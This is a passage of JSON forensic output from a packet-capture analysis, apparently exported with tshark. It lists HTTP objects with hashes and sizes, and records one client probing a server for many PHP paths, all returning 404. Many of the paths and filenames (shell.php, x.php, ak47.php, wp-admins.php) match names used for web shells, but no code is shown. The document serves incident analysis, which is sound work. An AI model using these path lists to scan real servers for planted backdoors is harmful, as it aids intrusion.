            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 89,
            "response_frame": 90
          },
          {
            "url": "http://128.199.64.235/test.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 92,
            "response_frame": 93
          },
          {
            "url": "http://128.199.64.235/db_cts.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 94,
            "response_frame": 95
          },
          {
            "url": "http://128.199.64.235/db_pma.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 97,
            "response_frame": 98
          },
          {
            "url": "http://128.199.64.235/logon.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 100,
            "response_frame": 101
          },
          {
            "url": "http://128.199.64.235/help-e.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 103,
            "response_frame": 104
          },
          {
            "url": "http://128.199.64.235/license.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 106,
            "response_frame": 107
          },
          {
            "url": "http://128.199.64.235/log.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 109,
            "response_frame": 110
          },
          {
            "url": "http://128.199.64.235/hell.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 112,
            "response_frame": 113
          },
          {
            "url": "http://128.199.64.235/pmd_online.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 115,
            "response_frame": 116
          },
          {
            "url": "http://128.199.64.235/x.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 118,
            "response_frame": 119
          },
          {
            "url": "http://128.199.64.235/shell.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 121,
            "response_frame": 122
          },
          {
            "url": "http://128.199.64.235/htdocs.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 124,
            "response_frame": 125
          },
          {
            "url": "http://128.199.64.235/b.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 127,
            "response_frame": 128
          },
          {
            "url": "http://128.199.64.235/sane.php",
            "client_ip": "139.199.184.166",
            "server_ip": "10.12.25.101",
            "tcp_stream": 4,
            "match_basis": "exact-sha256-of-decoded-http-response-body",
            "status_code": "404",
            "completeness": "matches-declared-content-length",
            "request_frame": 130,
            "response_frame": 131
          }
        ],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 276,
        "artifact_id": "artifact-c675d0fa044139cdf3bd2225",
        "occurrences": 615,
        "completeness": "matches-declared-content-length",
        "body_features": {
          "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
          "truncated": false,
          "identities": [],
          "inspected_bytes": 276,
          "credential_record_present": false,
          "private_key_marker_present": false,
          "system_inventory_marker_present": false
        },
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 276,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": true,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "f4c6161f9cda8dc4faae2381489c5189",
        "sha1": "2a63c16d413dbed3e07670fdeb97936a6599502b",
        "type": "http-exported-object",
        "sha256": "9d78edbcd5ce074aea33ca46b6179acaea71b1da5037512696f654f6e1c8fd97",
        "evidence": [],
        "filename": "index(8).php",
        "filenames": [
          "index(8).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 196,
        "artifact_id": "artifact-c7a44cb7bad4871a497b3af5",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 196,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "88281a834fc9594295c14f7a29746d17",
        "sha1": "0624f1f0795e364adff0d5328ec392a02a6df0d6",
        "type": "http-exported-object",
        "sha256": "8d0dacc8798f82e5d92ce49a325e4f846690beb98d47aa3a4812364cba281132",
        "evidence": [],
        "filename": "bbs.php",
        "filenames": [
          "bbs.php",
          "forum.php",
          "forums.php",
          "index(2).php",
          "index(4).php",
          "index(6).php",
          "index.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 103,
        "artifact_id": "artifact-49be2b25f330bfaee15873e6",
        "occurrences": 7,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 103,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "35b51ec9c56ec08d800be4f6f2212a5f",
        "sha1": "f2802b1e107e22b89d7ae151da249bef076cbba1",
        "type": "http-exported-object",
        "sha256": "a7cd66c3fff91a6aab3d190fd8ad88db7855ca72fe34bced1601b3796a3a9aee",
        "evidence": [],
        "filename": "object2055",
        "filenames": [
          "object2055"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 94,
        "artifact_id": "artifact-1f1583a340b1d850661762ea",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 94,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "f8afca108725baa48a76863cc2ae6059",
        "sha1": "e507d87e7ccbfc3486fc6fec2ffdadf191ec25e8",
        "type": "http-exported-object",
        "sha256": "39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf",
        "evidence": [],
        "filename": "099.php",
        "filenames": [
          "099.php",
          "Alarg53.php",
          "Skri.php",
          "_404.php",
          "lapan.php",
          "m.php%3fpbid=open",
          "p34ky1337.php",
          "pk1914.php",
          "sllolx.php",
          "wp-admins.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 36,
        "artifact_id": "artifact-b9e34ea33734a170dccf9979",
        "occurrences": 10,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 36,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "33ab34ac36f0d95e0d9884c1aa5fba59",
        "sha1": "316e0d79af94615ab6fce23a64d541e8324dfde0",
        "type": "http-exported-object",
        "sha256": "07bc2cd7b6b5cb96d0487caa89080d9b80a2c59dab7ada05fb89e53f09aa980d",
        "evidence": [],
        "filename": "conflg(2).php",
        "filenames": [
          "conflg(2).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 29,
        "artifact_id": "artifact-4ed1933edb82cbf4d8e1b17f",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 29,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "74fe2d3cf1148cd642b0597e23625bdd",
        "sha1": "d5b689a0d311d65f4030dc0314ad93e8bf7e5e73",
        "type": "http-exported-object",
        "sha256": "398e5b24097be4e9b0ac36902dddf964b364071eb383f91f856ff5c9dc1c5d58",
        "evidence": [],
        "filename": "liangchen(2).php",
        "filenames": [
          "liangchen(2).php",
          "liangchen.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 27,
        "artifact_id": "artifact-c4cc0fb7d76372c8d38133c1",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 27,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "77ea8b7ac30ca377bf15373587bed1cb",
        "sha1": "413fe5ab3b5348d703a5f3b1a0e1ada908e1b7ed",
        "type": "http-exported-object",
        "sha256": "5af181de5f983b28300bc36f16dc067212c41c86da2ea4393b9b89368a15ee96",
        "evidence": [],
        "filename": "xz.php",
        "filenames": [
          "xz.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 27,
        "artifact_id": "artifact-a92b19c490a576e7f6f93efc",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 27,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "e563cc55588e623dba45bd494c055f52",
        "sha1": "40017616e70fcbf8056322821adb3e392d6fdb12",
        "type": "http-exported-object",
        "sha256": "6969deae0d6a67ac80b1725825af06e963e4a1457a86b570d6f434a361292bfb",
        "evidence": [],
        "filename": "ak47.php",
        "filenames": [
          "ak47.php",
          "ak48.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 27,
        "artifact_id": "artifact-943346449b08d01856fc9534",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 27,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "dc4dfb36ebb97b9861e58e54ffa7e9da",
        "sha1": "d78a4fd322b365f5a0ac9fc3b246c0b63a0aa056",
        "type": "http-exported-object",
        "sha256": "3ef3aa42bc88de9043ac872bc1b24e2f530f244ee2b924e6891caa396ac68362",
        "evidence": [],
        "filename": "zzk.php",
        "filenames": [
          "zzk.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 26,
        "artifact_id": "artifact-ad3aab9aad1e3efb5740b78d",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 26,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "879205ac1fd24520723509a81027d133",
        "sha1": "2529411dcfbe285523f8291903b0d62555138e54",
        "type": "http-exported-object",
        "sha256": "5a45c5592a0b247efa23bb97e6a30fd7c9b516478faf22583c3c12ce8cb2b63c",
        "evidence": [],
        "filename": "cainiao.php",
        "filenames": [
          "cainiao.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 26,
        "artifact_id": "artifact-baceb0959a200d5d87c4c4c3",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 26,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "29f325675f9865d1ba96960a8e443731",
        "sha1": "09bad1a5123d312decdcd8e4e18a85356ff75915",
        "type": "http-exported-object",
        "sha256": "8b0f92db662e01955869d186ec124ffcc99aa548f070b9f55827f01977914f4d",
        "evidence": [],
        "filename": "feixiang.php",
        "filenames": [
          "feixiang.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 26,
        "artifact_id": "artifact-766c3c4ebf4fe8ce4034c909",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 26,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "b7cd8546f7b3a61415a823279422afc6",
        "sha1": "cc729b564d051cc6fe998ae6996d6b161c406241",
        "type": "http-exported-object",
        "sha256": "b1597d3c8c9f4c8eea1125a279a43e1e8c4c9e31d8fa454dec7c527bb7514bbd",
        "evidence": [],
        "filename": "diy.php",
        "filenames": [
          "diy.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 26,
        "artifact_id": "artifact-2d763e660ba85374d48398b9",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 26,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "c74c91e717b7f214194ac0247e1fe377",
        "sha1": "9cd8e6ea0487b7175ab5810ec1ddc1cee8fe4f69",
        "type": "http-exported-object",
        "sha256": "c3eeaf0ad25a1b0b6f039960a12d5a0a057063e6f55ba7455e3280a5970b7e77",
        "evidence": [],
        "filename": "guai.php",
        "filenames": [
          "guai.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 26,
        "artifact_id": "artifact-61558a1f01f4dbd494c550e4",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 26,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "9c21730ab22bca72c0ce14328f32fcc1",
        "sha1": "310ab2cdaffced5ae1b2c34e7254ec718ca2dcd4",
        "type": "http-exported-object",
        "sha256": "dc99dd551fa056c087c081fc33173a22bdf15d234dbef758de327663fe1b5dad",
        "evidence": [],
        "filename": "sconfig.php",
        "filenames": [
          "sconfig.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 26,
        "artifact_id": "artifact-59ac9a2d80fded8ce420016f",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 26,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "514eefdd3d926ed3d4420ad9cc799f9d",
        "sha1": "bfbca12a856d3b200add1f136a51bdb968bb9ea9",
        "type": "http-exported-object",
        "sha256": "ed6d902f4f14b9ae2e25ae1882603ba1359ec2065acefc2ec322284dad1cbc48",
        "evidence": [],
        "filename": "settings.php",
        "filenames": [
          "settings.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 26,
        "artifact_id": "artifact-aeeda6d6b4fc27e00755723a",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 26,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "c9e15296ec09d9e638b15fe860e0f5b1",
        "sha1": "f480a388d06a29276cb73b8f9e0ddbb11182321d",
        "type": "http-exported-object",
        "sha256": "f67a132d9c7574f5a220c353a44a9c831f36a55de24b0205967d8c82e74cd2ac",
        "evidence": [],
        "filename": "lost.php",
        "filenames": [
          "lost.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 26,
        "artifact_id": "artifact-b31c7fb2a9d9c9a6ba42c09f",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 26,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "9018ecd443561e6223d69b08f23c9590",
        "sha1": "5789117262edac04a64a504ec3d0a3c2d947f818",
        "type": "http-exported-object",
        "sha256": "233c5bb3d97bdc6393fa229ec35347ccfebba51f519d3013bc833c7f867eab9e",
        "evidence": [],
        "filename": "weixiao.php",
        "filenames": [
          "weixiao.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 25,
        "artifact_id": "artifact-a3d4dff9d48a3f2e448574ba",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 25,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "42ad225e7f6d8a8f59c7b166c18e01a7",
        "sha1": "dec094c0c0b038ae63cecfa0c1c2ef44d07fca3a",
        "type": "http-exported-object",
        "sha256": "438e452b4bee81dbe459dc9082ed15556e117c3110318c4c336633a8e46b2105",
        "evidence": [],
        "filename": "xiaodai.php",
        "filenames": [
          "xiaodai.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 25,
        "artifact_id": "artifact-9ed4c71d292cf50c72af219e",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 25,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "dff36504459356c18c5fb2ed485cc3e8",
        "sha1": "8192b5bc29631717f2713129e3323af109d7e75c",
        "type": "http-exported-object",
        "sha256": "7af6b112a2e2896b498e7016a42e62a3b37846f39a8539e6c676c3e68e3d5835",
        "evidence": [],
        "filename": "tools.php",
        "filenames": [
          "tools.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 25,
        "artifact_id": "artifact-60e7b3323619c2d1faee68ca",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 25,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "496ef50269dadaee5fd72ec361a22b6f",
        "sha1": "5054e20a325a6a9c53cfe61f30ed9647438e7d40",
        "type": "http-exported-object",
        "sha256": "81ae3595dceae4fcbbaff6913241a3ba6140af3be99c11e0843aa0ed94bb50dc",
        "evidence": [],
        "filename": "beimeng.php",
        "filenames": [
          "beimeng.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 25,
        "artifact_id": "artifact-9b85b15ef7823952e0274f8e",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 25,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "f63ba087e2246abc925c298c48ce1ba1",
        "sha1": "edf1ddc887cf35797e3dc668d3e139d5df1470a8",
        "type": "http-exported-object",
        "sha256": "968ffc30a7b3869cabb69b414a6e9cddeb9c0cbfb3fb98d7b15ae29fd5ec66a7",
        "evidence": [],
        "filename": "xiaohei.php",
        "filenames": [
          "xiaohei.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 25,
        "artifact_id": "artifact-a5b41cb206f5c28c5c65048f",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 25,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "8d8c377f2dfde0b2d6defa63b4432b83",
        "sha1": "64cb6816a58f46bc74335e61f0e4379b966f7ac1",
        "type": "http-exported-object",
        "sha256": "99076c799f20345cadcd16f06a00c3d763b4b199ef28f0454856bd2520578263",
        "evidence": [],
        "filename": "aotu.php",
        "filenames": [
          "aotu.php",
          "aotu7.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 25,
        "artifact_id": "artifact-840afedb64204d77af8871f1",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 25,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "f30b60c1d4ce319836cfe1e8cacc1390",
        "sha1": "c877cb59a425be4ed0d310be744bcf7851060296",
        "type": "http-exported-object",
        "sha256": "ac72a7df2de0e0af886e852b5fd8af7a1d00420c49d616485bb59452f7336441",
        "evidence": [],
        "filename": "12.php",
        "filenames": [
          "12.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 25,
        "artifact_id": "artifact-a1c5e5a1244b8f4a40b768a8",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 25,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "c8f595a5770758a588e1355603d9f6da",
        "sha1": "3dc38e79832bb3d56f54e4dd35262d38c0bfd09a",
        "type": "http-exported-object",
        "sha256": "b6b7f079dde177adfbdee65da6133faa2b7385c4c8f4127fea5730f7a6567314",
        "evidence": [],
        "filename": "5201314.php",
        "filenames": [
          "5201314.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 25,
        "artifact_id": "artifact-1c7f9c41a1025eeea0e1a287",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 25,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "0665e24e74c0af9897a2714a7f8ce297",
        "sha1": "0e41553496ccd3cf830e60235e7a7017a4936a94",
        "type": "http-exported-object",
        "sha256": "eba75f2e544604a5c8201de6992a4111cf7df474fafb3bfa98786e0c2c66e788",
        "evidence": [],
        "filename": "about_ver.php",
        "filenames": [
          "about_ver.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 25,
        "artifact_id": "artifact-f749f8daac73c9d02f2161b6",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 25,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "73fd409500c939b83696df30b454b259",
        "sha1": "3b41466ab96a37cc47bfccb30e9fcd40b5fe1366",
        "type": "http-exported-object",
        "sha256": "f37feb3989cd9f1337ccd8becd3dab888fa19a06e89d904851ecfb09151cd06a",
        "evidence": [],
        "filename": "olelist.php",
        "filenames": [
          "olelist.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 25,
        "artifact_id": "artifact-062eed966c4db2e26b10236c",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 25,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "628d1c0e3f95039039da08f190474ba8",
        "sha1": "03c90336b3494d9c3bf8ed6eec571cc191825276",
        "type": "http-exported-object",
        "sha256": "f61a99b580f6f7d5be6606cc9bfad8ef439a9d99502002ec26cbe10e9c1c4680",
        "evidence": [],
        "filename": "fusheng.php",
        "filenames": [
          "fusheng.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 25,
        "artifact_id": "artifact-8586dfc87082ac41c64a387e",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
